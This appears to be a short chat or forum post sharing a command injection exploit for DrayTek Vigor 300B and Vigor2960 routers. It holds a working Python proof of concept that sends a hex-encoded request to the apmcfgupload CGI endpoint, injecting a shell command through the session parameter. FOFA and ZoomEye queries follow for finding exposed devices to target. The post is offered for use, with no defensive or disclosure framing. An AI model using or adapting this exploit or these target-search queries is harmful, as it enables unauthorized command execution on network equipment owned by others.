[Aanya]

Understand this exploit : https://netsecfish.notion.site/Command-I...ffe29ce18f

POC

import socket
import socks


def send_http_request(host_ip, host_port, request):
    socket.socket = socks.socksocket
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((host_ip, host_port))
            request = bytes.fromhex(request.decode())
            s.sendall(request)
            print("HTTP request sent:")
            print(request)

            response = b""
            while True:
                data = s.recv(4096)
                if not data:
                    break
                response += data

            return response.decode('utf-8', errors='replace')
    except Exception as e:
        print("An error occurred:", e)


if __name__ == "__main__":
    host = '<TARGET_IP>'
    port = '<TARGET_PORT>'

    request_apmcfgupload_pwd_binary = b'474554202F6367692D62696E2F6D61696E66756E6374696F6E2E6367692F61706D63666775706C6F61643F73657373696F6E3D7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787830B42535322463253532246370776420485454502F312E300D0A0D0A'

    response = send_http_request(host, port, request_apmcfgupload_pwd_binary)

    print("HTTP response received:")
    print(response)

FOFA QUERY :

app="DrayTek-Vigor300B" || app="DrayTek-Vigor2960"

"excanvas.js" && "lang==\"zh-cn\"" && "detectLang" && server="DWS"

ZOOMEYE QUERY :

app="DrayTek Vigor 300B broadband router httpd" || app="DrayTek Vigor2960 router httpd"

With @Aanya  :kitten2: